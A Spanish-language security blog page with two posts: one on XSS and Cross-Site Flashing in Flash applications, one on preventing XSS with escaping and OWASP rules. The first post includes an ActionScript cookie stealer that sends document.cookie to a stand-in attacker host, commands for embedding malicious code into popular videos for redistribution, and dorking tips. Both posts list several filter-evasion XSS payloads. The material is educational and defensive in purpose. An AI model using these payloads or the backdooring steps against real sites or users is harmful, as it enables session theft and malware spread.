Mostrando entradas con la etiqueta cross-site scripting. Mostrar todas las entradas
Mostrando entradas con la etiqueta cross-site scripting. Mostrar todas las entradas
Flasheando - XSS usando Flash y Cross-site Flashing (XSF)
Muchos vemos las aplicaciones en flash como una caja negra, no conozco muchos programadores que se dediquen a la creación de aplicaciones en flash, generalmente son diseñadores gráficos los que se dedican a esta tarea, al menos en lo que yo he visto. La realidad es que una aplicación hecha en flash es como cualquier otra, puede tener parámetros de entrada y de salida, y si esos parámetros no se validan, se pueden hacer cosas realmente graves.

El mayor problema con flash es la falsa seguridad que genera en los desarrolladores. Como el código no es visible directamente, parece como que nadie pudiera verlo, pero no es así. Las aplicaciones flash se ejecutan en el cliente por un intérprete de bytecodes, tal como lo hacen los aplets de java. Esto quiere decir que el cliente tiene en su poder el programa, y los bytecodes pueden ser decodificados fácilmente utilizando varias herramientas. El código obtenido es el llamado Action Script. Action Script se utiliza para añadirle interacción a las animaciones de flash, y es donde aparecen los parámetros ingresados por el usuario.

Entre las herramientas que probé, para decodificar bytecodes de flash elegí flare, la cual es gratis, pero no del todo libre. El uso de flare es muy simple, ejecutamos el comando flare y pasamos como parámetro el swf que queremos decompilar. El output es un archivo llamado igual, pero con extensión flr, el cual es el código Action Script en texto plano.

Y qué buscamos al decompilar un archivo flash? lo mismo que cuando queremos inyectar código en cualquier otro lenguaje: el uso variables ingresadas por el usuario sin validar. Como siempre, dependiendo el lugar donde se usen estas variables, podremos realizar distintos tipos de ataques XSS.
Si bien no es el motivo de este post, la decompilación de flash muchas veces nos puede servir también para encontrar credenciales hardcodeadas en el swf. Parece increíble, pero se hace bastante, y se debe a lo que menciono párrafos arriba, la falsa seguridad de no tener el código accesible a simple vista. Además de credenciales, inspeccionar el código nos permite acceder otra información valiosa, como lo demuestra Zerial en su artículo Asaltando un sitio de series online.

Para encontrar las variables que el usuario puede enviar a una aplicación de forma rápida, podemos inspeccionar el HTML de la página que embebe el flash. Cuando embebemos un swf en nuestra página utilizamos los tags <object>, <param> y <embed>. con <object> indicamos especificaciones de lo que vamos a embeber como alto, ancho, id, versión de flash, etc. Con <embed> especificamos la ubicación del archivo y también podemos especificar parámetros (posible inyección). Por último, <param> nos sirve para enviar parámetros a la aplicación (posible inyección).
La forma en que el usuario puede enviar parámetros a la aplicación es usando los FlashVars, o bien especificando las variables en la URI con la que embebemos la aplicación. Algunos ejemplos son:
- <param name="FlashVars" value="var1=val1&var2=val2">
- <embed src="miflash.swf" width="550" height="400" flashvars="var1=val1&var2=val2"></embed>
- <iframe src="http://www.ejemplo.com/miflash.swf?var1=val1&var2=val2">
El tercer ejemplo usa un iframe, pero en realidad podemos hacer la llamada ingresando la URI en la barra de direcciones del navegador.
Flash incluso permite cargar las variables desde otra URL utilizando el objeto LoadVar:
var vars= new LoadVar();
vars.load('http://www.ejemplo.com/');
Dos cosas a tener en cuenta sobre las variables en Action Script v2 son que los parámetros enviados por el usuario (FlashVars) se pueden acceder a través de las variables globales, y que todas las variables globales que se usan sin previa inicialización se asumen como ingresadas por el usuario a través de parámetros. Esto que es muy feo (idéntico al caso de register_globals en php), nos permite explotar toda variable que el usuario olvidó inicializar. Las variables globales se acceden anteponiendoles _root, _global o _level0.

Volviendo al caso de variables globales sin inicializar, si tenemos por ejemplo el siguiente código:
getURL(_root.miarchivo, _blank)
y _root.miarchivo no se inicializó antes de ejecutar la sentencia, un atacante podría utilizar este hecho para abrir una URL arbitraria haciendo http://www.ejemplo.com?miarchivo=http://www.malomalo.com/maligno.xml

Existen varias funciones proporcionadas por flash que resultan interesantes para realizar ataques XSS. El artículo de testeo XSF de OWASP lista las siguientes (disponibles desde la versión r47):
loadVariables()
loadMovie()
getURL()
loadMovie()
loadMovieNum()
FScrollPane.loadScrollContent()
LoadVars.load
LoadVars.send
XML.load ( 'url' )
LoadVars.load ( 'url' )
Sound.loadSound( 'url' , isStreaming );
NetStream.play( 'url' );
flash.external.ExternalInterface.call(_root.callback)
htmlText
De éstas, con la que más me he encontrado es getURL(). getURL hace lo que se imaginan, abre la url que le pasamos por parámetro. getURL toma 1 parámetro obligatorio, la URL, y 2 opcionales. El primero de los opcionales indica si deseamos abrir la url en el frame actual (_self), en una nueva ventana (_blank), en un frame padre (_parent), o en el frame padre de todos (_top). El último parámetro indica si deseamos enviar las variables por GET o por POST. Pueden leer la especificación de la función en la misma página de adobe.

Un ejemplo que he visto en algunos banners, es el siguiente:
  button 3 {

on (release) {
getURL(_root.link, _blank);
}
}
}
Oh my!, ya ven lo que yo veo? aquí se usa la variable global "link", la cual ingresa el usuario como parámetro. El tag que embebe estos banners se ve como:
<embed width="100" height="50" quality="high" src="http://www.ejemplo.com/banner.swf?link=http%3A%2F%2Fwww.propaganda.com%2F"></embed>
donde se ve que el link se pasa como parámetro, codificado usando URL encoding. Si el usuario hace click sobre el banner, se abre la URL del parámetro.
Esto permite al diseñador usar el mismo código para hacer distintas propagandas; sólo cambiando el link, el banner apunta a otro site... pero por favor! esto es horrible! Pueden ver algunos ejemplos en el artículo Jugando con vulnerabilidades antiguas en sitios web de la comunidad Hack-IT.

Como atacante yo podría armar la url: http://www.ejemplo.com/banner.swf?link=javascript%3Aalert(document.cookie) la cual me muestra un alert con la cookie del usuario (podría robar la cookie enviándola a un site que yo poseo), y, a través de ingeniería social, hacer que el usuario clickee el banner. Si señores, tenemos un caso de XSS usando flash.


Cuándo aparece Cross-Site Flashing (XSF)?

Cross-site Flashing se llama al ataque donde importamos un archivo flash swf malicioso a través de un flash vulnerable.
Una función clásica para realizar este ataque es loadMovie(), la cual nos permite importar otros archivos swf.

Hay que tener en cuenta que las aplicaciones flash pueden ejecutar JavaScript cuando están embebidas en un browser, hacer peticiones HTTP, ejecutar películas externas, reproducir archivos de audio/video, y mostrar un conjunto reducido de código HTML dentro de un TextField.

Entonces, cuál es la idea? la idea es encontrar una aplicación flash que nos permita cargar un swf creado por nosotros, y que contenga código malicioso, como por ejemplo, un cookie stealer.


XSF reglas a tener en cuenta

Versiones modernas de flash poseen una política por defecto que permite a una aplicación flash cargar otro flash, solamente si se encuentra en el mismo subdominio. Osea, un flash que se encuentre en ejemplo.com solo podrá cargar otros flashes que estén en ejemplo.com. Cada aplicación se encuentra contenida en una caja de arena (sandbox), y todo swf externo importado tendrá acceso al sandbox y podrá ver/modificar las variables/objetos/clases.

Lo bueno (o lo malo) es que existe es posible cambiar este comportamiento por defecto, y permitir a un swf cargar otros swfs que se encuentren en otros dominios. Esto se hace utilizando la función AllowDomain, el archivo crossdomain.xml y el atributo AllowScriptAccess.

La función se utiliza dentro del código de la aplicación usando System.Security.allowDomain("otrosite.com").

El archivo crossdomain.xml debe colocarse dentro del directorio raíz del servidor y a partir del atributo allow-access-from, se puede especificar desde que otros sites se pueden importar swf:
<?xml version="1.0"?>
<cross-domain-policy>
<allow-access-from domain="www.company.com">
</cross-domain-policy>
Por último, el atributo AllowScriptAccess se utiliza en el tag que embebe la aplicación flash y los valores posibles son always (improtar desde cualquier lado), never (nunca importar nada), samedomain (solo importar desde el mismo dominio). El valor default es SameDomain. Un ejemplo de su uso es:
<embed allowscriptaccess="always" src="ejemplo.swf" type="application/x-shockwave-flash" width="200" height="150"></embed>


Creando nuestros propios Flashs

Para crear swfs se puede utilizar la herramienta MTASC. Para ello primero hay que crear un archivo con el código Action Script (evil.as), y luego lo compilamos usando:
mtasc -swf evil.swf -main -header 1:1:1 evil.as
Donde la opción -swf indica un path a un archivo swf existente y le inserta el código. Si no existe, se crea y toma el valor de la opción -header para saber ancho:alto:fps. Por su parte -main especifica que se llame al método estático main cuando se cargue el objeto.

El código de evil.as podría ser algo como:
class evil
{
function evil()
{
}

static function main(mc)
{
getURL("javascript:document.location=\"http://www.malomalo.com?cookie=\"+document.cookie");
}
}
es decir, un cookie stealer hecho en flash!


El paso final

Para terminar el ataque, tenemos que encontrar swfs que permitan cargar otros swf y tengan habilitada la política para permitir cualquier dominio como fuente.

La búsqueda de swf vulnerables se puede hacer fácilmente en google, con el término de búsqueda filetype:swf. Existen muchas aplicaciones flash utilizadas por múltiples sites que son famosas por ser vulnerables, una era la tag cloud. Esto facilita aún más la búsqueda, solo hace falta estar atento a los avisos sobre aplicaciones vulnerables, buscar los términos necesarios en google y explotarlas.


Backdoors

Un ataque interesante es incrustrar código malicioso en aplicaciones ya existentes y redistribuirlas. Por ejemplo, podríamos tener un video que llame mucho la atención, lo descargamos, le incrustramos nuestro código y lo redistribuimos. Dado que es un video famoso, muchos querrán verlo y al hacerlo, ejecutarán nuestro código...

Para incrustrar código en aplicaciones ya existentes, podemos usar las herramientas swfdump y swfcombine, provistas por el conjunto SWFTools. SWFTools suele estar disponible en la mayoría de las distribuciones, así que no es difícil de instalar.
A partir del video original video.swf necesitamos obtener atributos como ancho, alto y taza. Estos valores los necesitamos para poder combinar nuestro evil.swf en el video. Para esto usamos la herramienta swfdump de la siguiente forma:
swfdump --width --height --rate video.swf

que nos puede dar algo como -X 200 -Y 100 -r 20.00
Ahora usamos esos valores para compilar nuestro código malicioso de la siguiente manera:
mtasc -swf evil.swf -main -header 200:100:20 evil.as
Una vez que tenemos nuestro código adaptado, solo resta combinarlo con el video original usando swfcombine:
swfcombine -o evil_movie.swf -T evil.swf video.swf
Con esto conseguimos evil_movie.swf que es el video con el código malicioso incrustrado... fácil no?


Conclusiones

Las aplicaciones en flash representan un gran riesgo. El mayor problema es que, en general, son desarrolladas por gente sin conocimientos de seguridad, incluso muchas veces sin conocimientos de programación!
Explotar vulnerabilidades en flash es muy simple, muchas veces basta con mirar los parámetros, y otras en revisar un poco el código Action Script. Herramientas como flare, mtasc o SWFTools facilitan la tarea.

Mi recomendación es NO usar flash. Y por qué tan tajante? bueno, para empezar flash tiene una larga historia de exploits, la gente de adobe no viene haciendo bien las cosas (igual que con su adobe reader). Por otro lado, flash suele ser un dolor de cabeza para los browsers, llegando a crashearlos cada cierto tiempo. Además, muchas veces se utilizan pesadas aplicaciones en flash para realizar trabajos que se pueden cubrir con gifs y un poco de JavaScript. Por último, lo que vimos en este artículo habla por si solo, existen muchas formas de utilizar estas aplicaciones de forma maliciosa.

Si bien no quise extender más el artículo, existen otras formas de realizar ataques, como usando la función asfunction e incrustrando HTML dentro del flash (algo mencioné, pero no mostré cómo). Para leer un poco más, vean las referencias, donde hay buen material.


Referencias

- Testing for Cross site Flashing OWASP.
- A Lazy Pen Tester’s Guide to Testing Flash Applications.
- XSS Vulnerabilities in Common Shockwave Flash Files.
- Testing Flash Applications - 6th OWASP AppSec Conference May 2007 (Stefano Di Paola).
- XSS Attacks - Cross Site Scripting Exploits and Defence (Jeremiah Grossman, Robert "RSnake" Hansen, Petko "pdp" D. Petkov, Anto Rager, Seth Fogie).
Combatiendo el Cross Site Scripting
Luego de ver los diferentes tipos de ataques utilizando XSS y convencerlos (espero) de que es extremadamente peligroso cuando es explotado por alguien que sabe, es hora de dar algunas recomendaciones para evitar al máximo este tipo de ataques.
En un principio pensaba dar recomendaciones de programador, pero también es interesante la parte de como defendernos siendo usuarios finales de una página, dado que no podemos confiar en la mayoría de los "programadores" que andan dando vueltas, porque no conocen ni medio de seguridad (es una lástima, pero es así). Arranquemos así con lo que podemos hacer desde nuestra posición de usuarios web.


Trust no one

Nunca mejor aplicada esta frase de X-Files, cuando se trata de navegar por la Web, no podemos confiar en nadie, ni siquiera en nuestros amigos. Por esto, lo mejor es estar prevenidos y tener en cuenta algunos consejos para no ser víctimas del XSS. Estos consejos se aplican a ataques en general, aunque en me esté focalizando en XSS.

El primer paso a dar es utilizar un browser decente. La mayoría de la gente sigue utilizando damn vulnerable Internet Explorer, incluso versiones extremadamente vulnerables como la 6 que no proveen mucha ayuda al pobre navegante. Es verdad que Microsoft ha mejorado mucho con su browser en los últimos años, no leo sobre muchos exploits para la versión 8, pero las versiones 6 y 7 siguen siendo grandes víctimas y tienen gran presencia en la web. Por supuesto que no sólo IE es un gran problema, todos los browsers cuentan con su lista negra de errores, las versiones 1 y 2 de Firefox no ayudan mucho en cuanto a prevenir XSS. Por supuesto que Opera, Safari y Chrome también arrastran sus problemas.
Mi elección es utilizar Firefox 3+ con algunos complementos que nos ayuden a distinguir XSS. Chrome tiene un gran futuro, pero creo que todavía está bastante verde.

Los agregados pueden darnos una buena mano para prevenir ataques. NoScript para Firefox es un excelente ejemplo. Este agregado bloquea contenido JavaScript, Flash, Java y otros, permitiéndonos elegir qué páginas tienen permitido ejecutar qué. Además reconoce diferentes ataques y los bloquea, reportándolos al usuario. Internet Explorer 8 cuenta con filtros XSS que intentan acercarse a la funcionalidad de NoScript, aunque por ahora parecen estar basados solamente en listas negras con ataques conocidos.
Otro add-on interesante es Netcraft Anti-Phishing Toolbar disponible para Firefox e Internet Explorer que nos permite identificar sites que intentan robarnos información. Actualmente tanto Firefox como IE incorporaron una funcionalidad muy similar, así que tal vez no es tan útil como hace un tiempo.

El siguiente paso sería desactivar toda feature que no utilicemos. Existen múltiples formas de ejecutar ataques a través de tecnologías que muchas veces no utilizamos. Entre las más conocidas podemos encontrar JavaScript, ActiveX, Flash, Java, etc. La regla del pulgar nos dice, si no lo usamos, desactivemoslo. Es verdad que muchas páginas pueden no funcionar, pero al menos deberíamos poder bloquear selectivamente por página. NoScript nos da una gran mano para realizar esta tarea.

No clickear a lo tonto en todo lo que nos mandan. El comportamiento por defecto debería ser, desconfiar de todo link recibido por mail, foro, blog, red social, etc. Si la URL es muy larga, ya es algo muy sospechoso, y si incluye las palabras script o hacen referencia a algún script, es algo mucho más sospechoso. También son sospechosas las direcciones codificadas usando url, decimal o hexa encoding.
Tampoco deberíamos seguir links codificados con tinyurl o algún otro servicio de acortamiento de urls. Estos links podrían llevarnos a cualquier lado sin que nos enteremos. Existen algunos sites que nos permiten decodificar estas URLs pequeñas y ver de qué tratan realmente. Algunos ejemplos son http://longurl.org/ o http://kiserai.net/turl.pl


Programación Web Segura

Luego de tirar algunos consejos sobre cómo actuar al navegar por la red, nos metemos con la programación Web segura o "lo que diferencia un buen programador de uno mediocre". Si bien en un principio parece fácil solucionar este problema, existen más vueltas de las que uno se imagina. Por suerte, como cité en el primer artículo, existen algunas páginas con ejemplos para probar e imaginarnos cómo un atacante puede "encontrarle la vuelta" y vulnerar nuestro site.

El principio básico para evitar el XSS es el bien conocido "validar la entrada y filtrar la salida". Este principio que se aplica a todos los problemas de programación se usa poco y sin embargo nos salva de mucho. En el caso del XSS puede elegirse "validar la entrada" o bien "filtrar la salida", cada uno con sus ventajas y desventajas. Validar la entrada implica revisar todo lo ingresado por el usuario, mientras que filtrar la salida implica revisar sólo lo que se expone en la página, osea, si no todo se expone en la página, solo se debe filtrar una parte de todo lo ingresado. El problema con filtrar la salida es que quedan almacenados datos mal formados en bases de datos o archivos, algo que puede afectarnos si va cambiando la política de filtrado en la programación, pero los datos quedan intactos en los servers.
El consenso general es validar la entrada y evitarnos problemas futuros, además, filtrar la salida implica analizar los datos cada vez que se van a mostrar, mientras que validarlos a la entrada hace que el trabajo se realice una sola vez.
La mayor ventaja del filtrado de salida es que en esta etapa se sabe dónde se van a incluir los datos, es decir, no es lo mismo incluir los datos en el HTML que en una porción de código JavaScript, el tipo de filtrado puede cambiar en ambos casos. Por otro lado, qué sucede si el sistema que valida la entrada tiene un agujero en la validación y permite que algunos ataques pasen? una vez que los datos se almacenaron, quedan ahí... por más que parchemos el validador, los datos que ya pasaron seguirán estando y el ataque persistirá. Si por el contrario, usamos filtado de la salida y se descubre un bug en los filtros, una vez que lo parchamos, estamos salvados.

Leyendo todo esto, uno puede creer que lo mejor es implementar ambos controles, a la entrada y a la salida. Bueno, eso es cierto, sería ideal que el encargado de mostrar los datos no confíe para nada en los datos que tiene, y que el validador de la entrada haga su mejor esfuerzo pora que no pasen porquerías al almacenamiento. El problema, como siempre, es el agregado de procesamiento, algo que en un sistema con mucho tráfico nunca es deseado.

Una vez que tenemos decidido si validar la entrada o filtrar la salida, o ambos, debemos poner manos a la obra.


Escapando caracteres claves

Lo primero que viene a la mente cuando hablamos de inyección XSS es evitar los benditos delimitadores de tag "<" y ">", además de comillas simples y comillas dobles, que permiten ciertos trucos. Hay dos opciones para hacer esto, eliminamos estos caracteres o los codificamos de forma que el browser los interprete como texto. Existen varias formas de codificar estos caracteres para que el browser los interprete como texto y no como parte del HTML. Veamos cómo codificar los 5 caracteres más relevantes (llamados "big 5" en algunos lugares) y la barra hacia delante (usada para cerrar tags):

CaracterCodificacion HTMLCodificación HexaCodificación Decimal
&&amp;&#x26;&#38;
"&quot;&#x22;&#34;
'&apos;&#x27;&#39;
<&lt;&#x3c;&#60;
>&gt;&#x3e;&#62;
/&#x2F;&#47;

Esto quiere decir que si el usuario ingresa un >, nosotros deberíamos colocar un &gt; (o &#x26; o &#38;) en su lugar, para que no se interprete como código HTML. Por lo que he leído, algunas codificaciones en hexa o decimal pueden verse distintas en algunos browsers según la codificación de caracteres utilizada (UTF-8, ISO 8859-1, etc), así que recomendaría utilizar la codificación HTML.
Piensen ahora en alguno de los ejemplos anteriores, si antes el resultado de una inyección era:
Usuario: <B><SCRIPT>alert('XSS');</SCRIPT></B>
escapando los tags obtendremos:
Usuario: <B>&lt;SCRIPT&gt;alert(&apos;XSS&apos;);&lt;/SCRIPT&gt;</B>
Como se ve, el código actual no ejecutaría ningún alert, sino que mostraría el código en la pantalla (como debería ser).

En muchos lenguajes existen funciones implementadas para realizar el trabajo de cambiar un caracter por su equivalente HTML, o bien para eliminar estos caracteres. A continuación les dejo algunos ejemplos:

PHP
- htmlentities nos ayuda a codificar los caracteres citados (utilizar la opción ENT_QUOTES para codificar comillas simples también).
- strip_tags nos permite eliminar tags de un dado string.

ASP.NET
- HttpUtility.HtmlEncode nos da una mano codificando HTML.
- No encontré una función para eliminar tags, pero si una solución interesante en el foro http://forums.asp.net/t/901364.aspx:
System.Web.UI.HtmlControls.HtmlGenericControl htmlDiv = new System.Web.UI.HtmlControls.HtmlGenericControl("div");
htmlDiv.InnerHtml = htmlString;
String plainText = htmlDiv.InnerText;

- ASP también cuenta con un parámetro seteable en el Web.config (o incluso en Machine.config) que valida la entrada y nos arroja una excepción cada vez que un parámetro contiene entidades HTML. Este parámetro se llama validateRequest. Si está en false, no se valida nada, pero si está en true ASP hace su magia. Eso sí, después capturen la excepción, porque vi varios ejemplos donde la página arroja un error horrible que el usuario no debería ver...
Pueden leer un poco más sobre validateRequest en http://www.asp.net/(S(ywiyuluxr3qb2dfva1z5lgeg))/learn/whitepapers/request-validation/

JSP
Al parecer a la gente de Sun no le resultó interesante incorporar una función para codificar caracteres especiales (ni para eliminar tags), así que Java no incluye entre sus librerías default una función que haga el trabajo. Por suerte en una entrada de la página de OWASP encontramos una función que haga el trabajo.

Como se pueden imaginar, si no contamos con funciones empaquetadas con el lenguaje (como el caso de java) siempre podemos construir nuestra función para codificar o eliminar tags. Eso si, hay que tener cuidado en la forma en que armamos expresiones regulares para eliminar tags, dado que algunas pueden no ser muy efectivas.


Escapando lo anterior estamos salvados?

Muchos autores han dicho (y muchos siguen diciendo) que si escapamos los "big 5" estamos a salvo del XSS... bueno, me apena decirles "WRONG!".
Dependiendo la situación en la que nos encontremos, no es estrictamente necesario utilizar los caracteres antes citados. En muchos casos nos basta con utilizar un event handler (manejador de eventos) como onClick, onError, onMouseOver, etc (existen casi 100 manejadores de eventos). Consideren un ejemplo donde el usuario decidió no cumplir con el estándar HTML y armó el siguiente código en php:
<INPUT TYPE=TEXT SIZE=30 NAME=search VALUE=<?php if(isset($_GET['user'])) print "<B>".$_GET['search']."</B>" ?> />

este es el clásico ejemplo del buscador (ja, ya parece nombre de ejemplo de libro de sistemas operativos). Como ven, el usuario no usó ninguna comilla, pero aún así, el código es válido para la mayoría de los browsers. Ahora, el usuario malo, podría ingresar lo siguiente en el campo de búsqueda: "nada onMouseOver=alert(String.fromCharCode(88,83,83))" (sin las comillas). El resultado HTML de la ejecución del código php será:
<INPUT TYPE=TEXT SIZE=30 NAME=search VALUE=nada onMouseOver=alert(String.fromCharCode(88,83,83)) />

ahora, cuando el usuario coloque el mouse sobre el campo de búsqueda, saltará el alert.
Observaron algo en el ejemplo? para el exploit no utilicé ninguno de los "big 5"!!! Tal vez se preguntan qué es la función String.fromCharCode. Esta función se encarga de obtener un caracter a partir del código ascii en decimal, el 88 representa la X y el 83 la S. De esta forma, no necesitamos incluir la comilla simple para el alert. Otra forma que también funciona es colocar "nada onMouseOver=alert(&quot;XSS&quot;)" donde usamos las comillas HTML codificadas.

Otro ejemplo es el de programadores totalmente kamikazes que se encargan de meter datos ingresados por un usuario en una función JavaScript! Si bien este código no debe estar necesariamente HTML escapeado, debería estar JavaScript escapado para no ejecutar código ingresado por el usuario. Un ejemplo rápido que se me ocurre, es el caso que queremos cambiar el color de una opción seleccionada por el usuario (tal vez un menú con varias opciones), por ejemplo:

<input type="button" id="home" value="home" onClick="window.location.href='test.php?opcion=home'" />
<input type="button" id="guest" value="guest" onClick="window.location.href='test.php?opcion=guest'" />
<?php echo $_GET['opcion']; ?>
<script>
var opcion = '<?php echo $_GET['opcion']; ?>';
if (opcion == "home")
{
document.getElementById('home').style.backgroundColor = "green";
document.getElementById('guest').style.backgroundColor = "red";
}
else if( opcion == "guest")
{
document.getElementById('home').style.backgroundColor = "red";
document.getElementById('guest').style.backgroundColor = "green";
}
</script>

El código anterior simplemente cambia el color de fondo del botón apretado, basándose en la opción seleccionada, la cual obtenemos de la URL. Ahora, que pasa si en la variable opción colocamos lo siguiente: "la'; alert('XSS'); //" el resultado en la variable anterior será:
var opcion = 'la'; alert('XSS'); //';
es decir, cerramos la asignación a la variable opción, luego ejecutamos un alert y comentamos el resto. Esto sin usar los delimitadores de tags, ni comillas dobles, ni ampersand, aunque sí comillas simples, pero si tenemos en cuenta que htmlentities por defecto no codifica comillas simples, podríamos correr riesgos aún usando esa función.
Vale aclarar que si tenemos habilitado el atributo magic_quotes de php, éste agregará back slash ("\") a las comillas y puede que el ejemplo no funcione. Igualmente existen formas para escapar los escapadores.


Y si quiero texto enriquecido?

Aca es donde empiezan los problemas mayores...
En muchos casos deseamos que el usuario pueda ingresar texto con formato, así que tal vez nos gustaría que puedan usar los tags <b> (negrita), <i> (cursiva), <a href> (links), <img> (imágenes), etc. Para este tipo de aplicaciones, no podemos utilizar una función que nos elimine todos los tags, sino que debemos hacer una eliminación/codificación selectiva...
Las cosas se pueden poner realmente feas dependiendo de lo que deseamos permitir. Recuerden que prácticamente ningún tag está a salvo de scripting, por ejemplo, en IE el código <B STYLE="xss:expression(alert('XSS'))"></B> les mostrará un alert...
Para arrancar, la política default debe ser: escapar/borrar todo tag a menos que esté explícitamente permitido (whitelist). Ahora, de los tags permitidos, debe hacerse un examen en busca de código potencialmente malicioso, o bien tener un formato predefinido de tag. Por ejemplo, si lo único que queremos permitir es el tag <B>, no deberíamos permitir cosas como <B STYLE="xss:expression(alert('XSS'))">. Hay que tener especial cuidado con el tag <IMG>, como pueden observar en la lista de RSnake, las cosas que se pueden hacer son muchas. Incluso armando expresiones regulares para buscar cosas como la palabra javascript en el código puede ser difícil. Por ejemplo, tal vez deseamos evitar que alguien ingrese lo siguiente:
<IMG SRC="javascript:alert('XSS');">
pero también deberemos escapar cosas como:
<IMG SRC="jav ascript:alert('XSS');">
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
o cosas más oscuras como:
<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>
<IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>

Los ejemplos anteriores funcionan solamente en IE 6 y Opera 9, pero hay que tener en cuenta la cantidad de usuarios (me animaría a decir millones?) que todavía utilizan IE 6...

Una buena recomendación es armar el texto resultante a partir de un formato fijo según lo ingresado por el usuario, y no dejar directamente lo que el usuario ingresó. Por ejemplo, si el formato de salida será <IMG SRC="http://algo">, no importa que el usuario ingrese <IMG SRC="http://algo" width="0" height="0" style="width:100px; height: 100px;" alt="">, el resultado será siempre <IMG SRC="http://algo">. También debería verificarse que el argumento SRC sea válido, esto es, que sea una referencia a una imagen y no un script.

Como se irán dando una idea, habilitar algunos tags trae varios dolores de cabeza. Por suerte existen algunas librerías creadas para tal fin. Una interesante es PHP Input Filter que ha sido premiada por su labor. Otros esfuerzos interesantes son el proyecto OWASP ESAPI que soporta los lenguajes Java, .NET, PHP, Classic ASP, Cold Fusion, Python, and Haskell, y AntiXSS para ASP.NET.


6 reglas de oro by OWASP

La OWASP nos provee 6 reglas (http://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet) para evitar ataques del tipo XSS. El artículo trata el problema de forma general y no ofrese una solución concreta para un lenguaje en particular, de eso deberá encargarse el programador. Estas reglas están muy bien pensadas y cubren todo lo que he tratado hasta aquí, si es que se implementan correctamente... claro.
A continuación les traduzco los principios básicos de cada regla, para la información completa diríganse a la fuente original:


Regla #0 - Nunca insertar datos no confiables excepto en lugares permitidos

La regla cero nos dice, negar todo!, es decir, no colocar ningún dato ingresado por el usuario en el HTML a menos que esté incluído en alguna de las reglas #1 a #5. Esta regla sirve como complemento a todas las demás, es decir, si no está incluido en las otras reglas, entonces no lo incluyas en tu HTML!
<script>...NUNCA PONER DATOS NO CONFIABLES AQUI...</script> directamente en un script

<!--...NUNCA PONER DATOS NO CONFIABLES AQUI...--> dentro de un comentario HTML

<div ...NUNCA PONER DATOS NO CONFIABLES AQUI...=test /> en el nombre de un atributo

<...NUNCA PONER DATOS NO CONFIABLES AQUI... href="/test" /> en el tag de un nombre


Regla #1 - Escapear HTML antes de insertar datos no confiables en el contenido de un elemento HTML

Esta regla sirve para cuando queremos poner datos no confiables directamente en algún lugar del cuerpo HTML. Esto incluye dentro de todos los tags conocidos como div, p, b, td, etc.
<body>...ESCAPEAR DATOS NO CONFIABLES ANTES DE COLOCARLOS AQUI...</body>

<div>...ESCAPEAR DATOS NO CONFIABLES ANTES DE COLOCARLOS AQUI...</div>

aplicar para cualquier otro elemento HTML.

Para escapar los datos no confiables, aplicar lo que expliqué en la sección "Escapando caracteres claves".


Regla #2 - Escapear atributos antes de insertar datos no confiables en atributos HTML comunes

Esta regla se utiliza para colocar datos no confiables dentro de atributos como width, name, value, etc. Esto no debería usarse para atributos complejos como href, src, style, o cualquiera de los even handlers como onMouseOver. Es extremadamente importante que para los even handlers se siga la regla #3.
<div attr=...ESCAPEAR DATOS NO CONFIABLES ANTES DE COLOCARLOS AQUI...>contenido</div> dentro de atributos sin comillas

<div attr='...ESCAPEAR DATOS NO CONFIABLES ANTES DE COLOCARLOS AQUI...'>contenido</div> dentro de atributos con comillas

<div attr="...ESCAPEAR DATOS NO CONFIABLES ANTES DE COLOCARLOS AQUI...">contenido</div> dentro de atributos con comillas dobles

Excepto los caracteres alfanuméricos, escapar todo caracter con valores ASCII menores a 256, con el formato #xHH (es decir, valor hexa) para evitar el problema de salirse de los atributos (como el ejemplo citado en "Escapando lo anterior estamos salvados?").


Regla #3 - Escapear JavaScript antes de insertar datos no confiables en datos JavaScript

Como tercer regla tenemos la concerniente a los event handlers de JavaScript que pueden ser especificados en varios elementos HTML. El único lugar seguro para poner datos no confiables es dentro de comillas.
<script>alert('..ESCAPEAR DATOS NO CONFIABLES ANTES DE COLOCARLOS AQUI...')</script> dentro de un string entre comillas

<script>x='...ESCAPEAR DATOS NO CONFIABLES ANTES DE COLOCARLOS AQUI...'</script> a un lado de una expresión entre comillas

<div onmouseover='...ESCAPEAR DATOS NO CONFIABLES ANTES DE COLOCARLOS AQUI...'</div> dentro de un event handler entre comillas

Excepto los caracteres alfanuméricos, escapar todo caracter con valores ASCII menores a 256, con el formato #xHH (es decir, valor hexa) para evitar el problema de cambiar del contexto de datos al contexto script o en otro atributo. No utilizar escapeadores como la barra invertida porque los caracteres como las comillas serán reemplazados por su codificación HTML correspondiente.


Regla #4 - Escapear CSS antes de insertar datos no confiables en propiedades HTML de estilo

Esta regla existe para los casos en que se desee colocar datos no confiables en una hoja de estilo o en un tag de estilo. Debido al poder de CSS para realizar ataques, es importante que sólo se coloquen datos no confiables dentro del valor de una propiedad y no en otros lugares de los datos de estilo. Sobre todo debe tenerse mucho cuidado de no colocar datos no confiables en propiedades como url, behaviour, y custom. Lo mismo se aplica a las expresiones de propiedad de IE, las cuales permiten JavaScript.
<style>selector { property : ...ESCAPEAR DATOS NO CONFIABLES ANTES DE COLOCARLOS AQUI...; } </style> valor de propiedad

<span style=property : ...ESCAPEAR DATOS NO CONFIABLES ANTES DE COLOCARLOS AQUI...;>text</style> valor de propiedad

Excepto los caracteres alfanuméricos, escapar todo caracter con valores ASCII menores a 256, con el formato #xHH. No utilizar escapeadores como la barra invertida porque los caracteres como las comillas serán reemplazados por su codificación HTML correspondiente.


Regla #5 - Escapear URL antes de insertar datos no confiables en atributos URL

La última regla de esta lista se utiliza para los casos en que deseamos colocar datos no confiables en un link que apunta a otro lugar. Esto incluye a los atributos href y src. Existen otros atributos de locación, pero no es recomendable colocar datos no confiables en ellos. Algo importante de remarcar es que resulta muy mala idea colocar datos no confiables en URLs javascript:, pero de ser necesario se puede utilizar la regla #3 para ello.
<a href=http://...ESCAPEAR DATOS NO CONFIABLES ANTES DE COLOCARLOS AQUI...>link</a > un link normal

<img src='http://...ESCAPEAR DATOS NO CONFIABLES ANTES DE COLOCARLOS AQUI...' /> fuente de una imagen

